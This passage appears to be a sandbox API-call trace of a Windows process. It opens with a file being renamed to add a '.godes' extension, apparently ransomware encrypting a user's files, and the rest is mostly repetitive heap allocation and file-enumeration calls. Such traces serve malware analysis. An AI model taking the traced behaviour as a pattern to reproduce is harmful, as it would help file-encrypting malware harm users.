lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\nhszPrwAyFP3\\OJ7g4MMeWuj05DP.swf.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\nhszprwayfp3\\oj7g4mmewuj05dp.swf.godes")) returned 1 [0114.743] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.743] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.744] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3201530 | out: hHeap=0x660000) returned 1 [0114.744] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4be4e30, ftCreationTime.dwHighDateTime=0x1d4cb2b, ftLastAccessTime.dwLowDateTime=0xde2c2f00, ftLastAccessTime.dwHighDateTime=0x1d4c683, ftLastWriteTime.dwLowDateTime=0xde2c2f00, ftLastWriteTime.dwHighDateTime=0x1d4c683, nFileSizeHigh=0x0, nFileSizeLow=0x5678, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OJ7g4MMeWuj05DP.swf", cAlternateFileName="OJ7G4M~1.SWF")) returned 0 [0114.744] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0114.744] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c568 | out: hHeap=0x660000) returned 1 [0114.744] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.744] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0114.744] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.744] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0114.744] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.744] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.744] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.744] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.744] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.744] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.744] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.744] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.744] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.744] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.744] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.744] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.745] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.745] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.745] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.745] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.745] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.745] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.745] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.745] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.745] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.745] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.745] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.745] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.745] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.745] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.745] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0114.745] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.745] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.745] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.745] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.745] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.745] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.745] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.745] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.745] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.745] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.745] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.745] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.745] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.745] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.745] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.745] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.745] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.745] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.745] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.746] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.746] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.746] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.746] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.746] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.746] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.746] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.746] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.746] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.746] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.746] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.746] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.746] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.746] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.746] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.746] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.746] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.746] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.746] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.746] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.746] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.746] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.746] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.746] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.746] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.746] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.746] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.746] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.746] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.746] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.746] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.746] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.746] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.747] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.747] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.747] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.747] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.747] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.747] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.747] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.747] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.747] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.747] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.747] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.747] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.747] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.747] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.747] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.747] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.747] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.747] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.747] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.747] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.747] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.747] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.747] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.747] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0114.747] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.747] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.747] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.747] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.747] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.747] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.747] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.747] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.747] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.747] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.748] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.748] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.748] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.748] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.748] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.748] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.748] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.748] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.748] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.748] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.748] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.748] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.748] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.748] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.748] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.748] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.748] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.748] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.748] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.748] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.748] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.748] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.748] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.748] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.748] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.748] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.748] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.748] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.748] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.748] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.749] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.749] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.749] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.749] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.749] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.749] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.749] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.749] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.749] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.749] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.749] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.749] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.749] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.749] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.749] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.749] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.749] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.749] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.749] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.749] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.749] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.749] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.749] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.749] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.749] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.749] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.749] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.749] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.749] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.749] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.749] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.749] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.749] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.750] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.750] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.750] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.750] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.750] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.750] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.750] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.750] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.750] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.750] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.750] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.750] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.750] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.750] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.750] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.750] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.750] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.750] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.750] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.750] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.750] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.750] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.750] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.750] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.750] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.750] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.750] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.750] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.750] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.750] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.750] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.750] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.750] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.750] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.751] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.751] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.751] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.751] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.751] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.751] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.751] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.751] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.751] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.751] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.751] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.751] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.751] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.751] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.751] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.751] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.751] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.751] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.751] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.751] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.751] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.751] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.751] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.751] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.751] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.751] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.751] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.751] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.751] RtlAllocateHeap (HeapHandle=0x660000, 